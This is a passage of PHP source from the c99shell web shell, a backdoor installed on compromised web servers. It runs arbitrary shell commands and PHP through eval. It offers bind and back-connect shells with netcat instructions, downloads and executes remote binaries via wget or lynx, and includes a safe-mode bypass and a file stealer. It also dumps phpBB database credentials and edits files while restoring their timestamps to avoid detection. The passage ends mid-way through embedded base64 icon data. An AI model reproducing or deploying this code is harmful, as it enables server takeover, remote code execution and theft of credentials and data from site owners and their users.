    \";} $ret = str_replace(\"\\r\\n\",\"\\n\",$ret); $ret = explode(\"\\n\",$ret); if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\"copy\"][$k]);}} foreach($sess_data[\"cut\"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data[\"cut\"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) {echo \"Archivation errors:
    \".$arcerr;} $act = \"ls\"; } elseif ($actpastebuff) { $psterr = \"\"; foreach($sess_data[\"copy\"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"!
    \";} if ($copy_unset) {unset($sess_data[\"copy\"][$k]);} } foreach($sess_data[\"cut\"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"!
    \";} unset($sess_data[\"cut\"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo \"Pasting with errors:
    \".$psterr;} $act = \"ls\"; } } if ($act == \"cmd\") { if (trim($cmd) == \"ps -aux\") {$act = \"processes\";} elseif (trim($cmd) == \"tasklist\") {$act = \"processes\";} else { @chdir($chdir); if (!empty($submit)) { echo \"Result of execution this command:
    \"; $olddir = realpath(\".\"); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,\"d\",\"w\"); if ($cmd_txt) { $rows = count(explode(\"\\r\\n\",$ret))+1; if ($rows < 10) {$rows = 10;} echo \"
    \"; } else {echo $ret.\"
    \";} @chdir($olddir); } else {echo \"Execution command\"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo \"


     Display in text-area 
    \"; } } if ($act == \"ls\") { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo \"
    Can\'t open folder (\".htmlspecialchars($d).\")!
    \";} else { //Building array $objects = array(); $vd = \"f\"; //Viewing mode if ($vd == \"f\") { $objects[\"head\"] = array(); $objects[\"folders\"] = array(); $objects[\"links\"] = array(); $objects[\"files\"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == \".\") {$row[] = $d.$o; $row[] = \"LINK\";} elseif ($o == \"..\") {$row[] = $d.$o; $row[] = \"LINK\";} elseif (is_dir($v)) { if (is_link($v)) {$type = \"LINK\";} else {$type = \"DIR\";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow[\"name\"]?$ow[\"name\"]:fileowner($v)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($v)); } $row[] = fileperms($v); if (($o == \".\") or ($o == \"..\")) {$objects[\"head\"][] = $row;} elseif (is_link($v)) {$objects[\"links\"][] = $row;} elseif (is_dir($v)) {$objects[\"folders\"][] = $row;} elseif (is_file($v)) {$objects[\"files\"][] = $row;} $i++; } $row = array(); $row[] = \"Name\"; $row[] = \"Size\"; $row[] = \"Modify\"; if (!$win) {$row[] = \"Owner/Group\";} $row[] = \"Perms\"; $row[] = \"Action\"; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != \"a\") {$parsesort[1] = \"d\";} $y = \"\"; $y .= \"\\\"\".($parsesort[1]\"; $row[$k] .= $y; for($i=0;$i\".$row[$i].\"\";} } $v = $parsesort[0]; usort($objects[\"folders\"], \"tabsort\"); usort($objects[\"links\"], \"tabsort\"); usort($objects[\"files\"], \"tabsort\"); if ($parsesort[1] == \"d\") { $objects[\"folders\"] = array_reverse($objects[\"folders\"]); $objects[\"files\"] = array_reverse($objects[\"files\"]); } $objects = array_merge($objects[\"head\"],$objects[\"folders\"],$objects[\"links\"],$objects[\"files\"]); $tab = array(); $tab[\"cols\"] = array($row); $tab[\"head\"] = array(); $tab[\"folders\"] = array(); $tab[\"links\"] = array(); $tab[\"files\"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data[\"cut\"])) {$disppath = \"\".$disppath.\"\";} elseif (in_array($v,$sess_data[\"copy\"])) {$disppath = \"\".$disppath.\"\";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo \"Warning! Configuration error in \\$regxp_highlight[\".$k.\"][0] - unknown command.\"; c99shexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = \"\"; $r[3] = \"\";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == \".\") { $row[] = \" \".$o.\"\"; $row[] = \"LINK\"; } elseif ($o == \"..\") { $row[] = \" \".$o.\"\"; $row[] = \"LINK\"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= \" => \".readlink($v); $type = \"LINK\"; $row[] = \" [\".$disppath.\"]\"; } else { $type = \"DIR\"; $row[] = \" [\".$disppath.\"]\"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(\".\",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = \" \".$disppath.\"\"; $row[] = view_size($a[1]); } $row[] = date(\"d.m.Y H:i:s\",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = \"\".view_perms_color($v).\"\"; if ($o == \".\") {$checkbox = \"\"; $i--;} else {$checkbox = \"\";} if (is_dir($v)) {$row[] = \"\\\"Info\\\" \".$checkbox;} else {$row[] = \"\\\"Info\\\" \\\"Change\\\" \\\"Download\\\" \".$checkbox;} if (($o == \".\") or ($o == \"..\")) {$tab[\"head\"][] = $row;} elseif (is_link($v)) {$tab[\"links\"][] = $row;} elseif (is_dir($v)) {$tab[\"folders\"][] = $row;} elseif (is_file($v)) {$tab[\"files\"][] = $row;} $i++; } } // Compiling table $table = array_merge($tab[\"cols\"],$tab[\"head\"],$tab[\"folders\"],$tab[\"links\"],$tab[\"files\"]); echo \"
    Listing folder (\".count($tab[\"files\"]).\" files and \".(count($tab[\"folders\"])+count($tab[\"links\"])).\" folders):

    \"; foreach($table as $row) { echo \"\\r\\n\"; foreach($row as $v) {echo \"\\r\\n\";} echo \"\\r\\n\"; } echo \"
    \".$v.\"

       \"; if (count(array_merge($sess_data[\"copy\"],$sess_data[\"cut\"])) > 0 and ($usefsbuff)) { echo \"                   \"; } echo \" 

    \"; echo \"\"; } } if ($act == \"tools\") { ?>

    :: act=cmd&d=\">Bind Functions By r57 ::

    \"> Bind With Backd00r Burner
    \">

    Back-Connection :
    \"> Ip (default is your ip) :
    \">
    Port:

    \">
    Click \"Connect\" only after open port for it. You should use NetCat©, run \"nc -l -n -v -p \"!

    :: act=cmd&d=\">File Stealer Function Ripped fRom Tontonq \'s File Stealer ... ::

    Safe_Mode Bypass
    \" method=\"POST\">
    \"size=84>
    \" method=\"POST\"> Dosyanin Adresi ? =

    Nereya Kaydolcak? = \">




    Now script try connect to \".$_GET[\'ipi\'].\" port \".$_GET[\'pipi\'].\" ...
    \"; } if (!empty($_GET[\'dolma\'])) { $sayko=htmlspecialchars($_GET[\'dolma\']); if ($sayko == \"wgetcan\") { myshellexec(\"wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind\"); } else if ($sayko ==\"freadcan\") { dosyayicek($adires,\"sayko_bind\"); myshellexec(\"./sayko_bind\"); } else if ($sayko == \"lynxcan\") { myshellexec(\"lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind\"); } } if (!empty($_POST[\'erorr\'])) { error_log($_POST[\'erorr\'], 3, \"php://\".$_POST[\'nere\']); } } if ($act == \"processes\") { echo \"Processes:
    \"; if (!$win) {$handler = \"ps -aux\".($grep?\" | grep \'\".addslashes($grep).\"\'\":\"\");} else {$handler = \"tasklist\";} $ret = myshellexec($handler); if (!$ret) {echo \"Can\'t execute \\\"\".$handler.\"\\\"!\";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != \"a\") {$y = \"\";} else {$y = \"\";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo \"Sending signal \".$sig.\" to #\".$pid.\"... \"; if (posix_kill($pid,$sig)) {echo \"OK.\";} else {echo \"ERROR.\";} } while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\" \",$ret);} $stack = explode(\"\\n\",$ret); $head = explode(\" \",$stack[0]); unset($stack[0]); for($i=0;$i\".$head[$i].\"\";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo \"
    \"; foreach($tab as $i=>$k) { echo \"\"; foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo \"\";} echo \"\"; } echo \"
    \".$v.\"
    \"; } } if ($act == \"eval\") { if (!empty($eval)) { echo \"Result of execution this PHP-code:
    \"; $tmp = ob_get_contents(); $olddir = realpath(\".\"); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,\"d\",\"w\"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode(\"\\r\\n\",$ret))+1; if ($rows < 10) {$rows = 10;} echo \"
    \"; } else {echo $ret.\"
    \";} } else { if ($eval_txt) { echo \"
    \"; } else {echo $ret;} } @chdir($olddir); } else {echo \"Execution PHP-code\"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo \"


     Display in text-area 
    \"; } if ($act == \"f\") { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != \"edit\") { if (file_exists($d.$f)) {echo \"
    Permision denied (\".htmlspecialchars($d.$f).\")!
    \";} else {echo \"
    File does not exists (\".htmlspecialchars($d.$f).\")!
    Create
    \";} } else { $r = @file_get_contents($d.$f); $ext = explode(\".\",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = \"\"; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi(\"sess_(.*)\",$f)) {$rft = \"phpsess\";} if (empty($ft)) {$ft = $rft;} $arr = array( array(\"\",\"info\"), array(\"\",\"html\"), array(\"\",\"txt\"), array(\"Code\",\"code\"), array(\"Session\",\"phpsess\"), array(\"\",\"exe\"), array(\"SDB\",\"sdb\"), array(\"\",\"img\"), array(\"\",\"ini\"), array(\"\",\"download\"), array(\"\",\"notepad\"), array(\"\",\"edit\") ); echo \"Viewing file:     \".$f.\" (\".view_size(filesize($d.$f)).\")      \".view_perms_color($d.$f).\"
    Select action/file-type:
    \"; foreach($arr as $t) { if ($t[1] == $rft) {echo \" \".$t[0].\"\";} elseif ($t[1] == $ft) {echo \" \".$t[0].\"\";} else {echo \" \".$t[0].\"\";} echo \" (+) |\"; } echo \"
    \"; if ($ft == \"info\") { echo \"Information:\"; if (!$win) { echo \"
    Path \".$d.$f.\"
    Size \".view_size(filesize($d.$f)).\"
    MD5 \".md5_file($d.$f).\"
    Owner/Group \"; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow[\"name\"]?$ow[\"name\"]:fileowner($d.$f)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d.$f)); } echo \"
    Perms\".view_perms_color($d.$f).\"
    Create time \".date(\"d/m/Y H:i:s\",filectime($d.$f)).\"
    Access time \".date(\"d/m/Y H:i:s\",fileatime($d.$f)).\"
    MODIFY time \".date(\"d/m/Y H:i:s\",filemtime($d.$f)).\"

    \"; $fi = fopen($d.$f,\"rb\"); if ($fi) { if ($fullhexdump) {echo \"FULL HEXDUMP\"; $str = fread($fi,filesize($d.$f));} else {echo \"HEXDUMP PREVIEW\"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = \"00000000
    \"; $a1 = \"\"; $a2 = \"\"; for ($i=0; $i0\"; break; case 32: case 10: case 13: $a2 .= \" \"; break; default: $a2 .= htmlspecialchars($str[$i]); } $n++; if ($n == $hexdump_rows) { $n = 0; if ($i+1 < strlen($str)) {$a0 .= sprintf(\"%08X\",$i+1).\"
    \";} $a1 .= \"
    \"; $a2 .= \"
    \"; } } //if ($a1 != \"\") {$a0 .= sprintf(\"%08X\",$i).\"
    \";} echo \"
    \".$a0.\"\".$a1.\"\".$a2.\"

    \"; } $encoded = \"\"; if ($base64 == 1) { echo \"Base64 Encode
    \"; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo \"Base64 Encode + Chunk
    \"; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo \"Base64 Encode + Chunk + Quotes
    \"; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace(\"!.{1,76}!\",\"\'\\\\0\'.\\n\",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo \"Base64 Decode\"; if (base64_encode($encoded) != $text) {echo \" (failed)\";} echo \"
    \"; } if (!empty($encoded)) { echo \"

    \"; } echo \"HEXDUMP: [Full] [Preview]
    Base64:
    [Encode [+chunk [+chunk+quotes [Decode

    \"; } elseif ($ft == \"html\") { if ($white) {@ob_clean();} echo $r; if ($white) {c99shexit();} } elseif ($ft == \"txt\") {echo \"

    \".htmlspecialchars($r).\"
    \";} elseif ($ft == \"ini\") {echo \"
    \"; var_dump(parse_ini_file($d.$f,TRUE)); echo \"
    \";} elseif ($ft == \"phpsess\") { echo \"
    \"; 
       $v = explode(\"|\",$r); 
       echo $v[0].\"
    \"; var_dump(unserialize($v[1])); echo \"
    \"; } elseif ($ft == \"exe\") { $ext = explode(\".\",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = \"\"; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace(\"%f%\",$f,$rft); echo \"Execute file:

    Display in text-area
    \"; } elseif ($ft == \"sdb\") {echo \"
    \"; var_dump(unserialize(base64_decode($r))); echo \"
    \";} elseif ($ft == \"code\") { if (ereg(\"php\".\"BB 2.(.*) auto-generated config file\",$r)) { $arr = explode(\"\\n\",$r); if (count($arr == 18)) { include($d.$f); echo \"phpBB configuration is detected in this file!
    \"; if ($dbms == \"mysql4\") {$dbms = \"mysql\";} if ($dbms == \"mysql\") {echo \"Connect to DB

    \";} else {echo \"But, you can\'t connect to forum sql-base, because db-software=\\\"\".$dbms.\"\\\" is not supported by c99shell. Please, report us for fix.\";} echo \"Parameters for manual connect:
    \"; $cfgvars = array(\"dbms\"=>$dbms,\"dbhost\"=>$dbhost,\"dbname\"=>$dbname,\"dbuser\"=>$dbuser,\"dbpasswd\"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k).\"=\'\".htmlspecialchars($v).\"\'
    \";} echo \"

    \"; } } echo \"
    \"; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {c99shexit();} echo \"
    \"; } elseif ($ft == \"download\") { @ob_clean(); header(\"Content-type: application/octet-stream\"); header(\"Content-length: \".filesize($d.$f)); header(\"Content-disposition: attachment; filename=\\\"\".$f.\"\\\";\"); echo $r; exit; } elseif ($ft == \"notepad\") { @ob_clean(); header(\"Content-type: text/plain\"); header(\"Content-disposition: attachment; filename=\\\"\".$f.\".txt\\\";\"); echo($r); exit; } elseif ($ft == \"img\") { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo \"
    Size: \"; $sizes = array(\"100\",\"50\",\"20\"); foreach ($sizes as $v) { echo \"\"; if ($imgsize != $v ) {echo $v;} else {echo \"\".$v.\"\";} echo \"   \"; } echo \"

    \"; } else { @ob_clean(); $ext = explode($f,\".\"); $ext = $ext[count($ext)-1]; header(\"Content-type: \".$inf[\"mime\"]); readfile($d.$f); exit; } } elseif ($ft == \"edit\") { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,\"w\"); if (!$fp) {echo \"Can\'t write to file!\";} else { echo \"Saved!\"; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode(\"\\r\\n\",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo \"
      
    \"; } elseif (!empty($ft)) {echo \"
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \\$GLOBALS.
    \";} else {echo \"
    Unknown extension (\".$ext.\"), please, select type manually.
    \";} } } } else { @ob_clean(); $images = array( \"arrow_ltr\"=> \"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ\". \"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==\", \"back\"=> \"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8\". \"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt\". \"Wg0JADs=\", \"buffer\"=> \"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo\". \"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD\". \"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==\", \"change\"=> \"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+\". \"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA\". \"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC\". \"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA\". \"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL\". \"zMshADs=\", \"delete\"=> \"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp\". \"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw\". \"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv\". \"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl\". \"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5\". \"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4\". \"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G\". \"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ\". \"jwVFHBgiEGQFIgQasYkcSbJQIAA7\", \"download\"=> \"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu\". \"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=\", \"forward\"=> \"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8\". \"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt\". \"WqsJADs=\", \"home\"=> \"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA\". \"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS\". \"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j\". \"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=\", \"mode\"=> \"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO\". \"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/\". \"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=\", \"refresh\"=> \"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA\". \"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY\". \"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ\". \"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=\", \"search\"=> \"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//\". \"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap\". \"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD\". \"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr\". \"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==\", \"setup\"=> \"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC\". \"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA\". \"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB\". \"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE\". \"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==\", \"small_dir\"=> \"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp\". \"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\", \"small_unk\"=> \"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U\". \"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo\". \"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31\". \"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4\". \"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP\". \"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz\". \"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ\". \"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io\". \"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz\". \"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM\". \"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC\". \"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj\". \"yAsokBkQADs=\", \"multipage\"=>\"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR\". \"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==\", \"sort_asc\"=> \"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa\". \"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==\", \"sort_desc\"=> \"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb\". \"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=\", \"sql_button_drop\"=> \"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/\". \"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm\". \"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/\". \"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm\". \"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/\". \"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\". 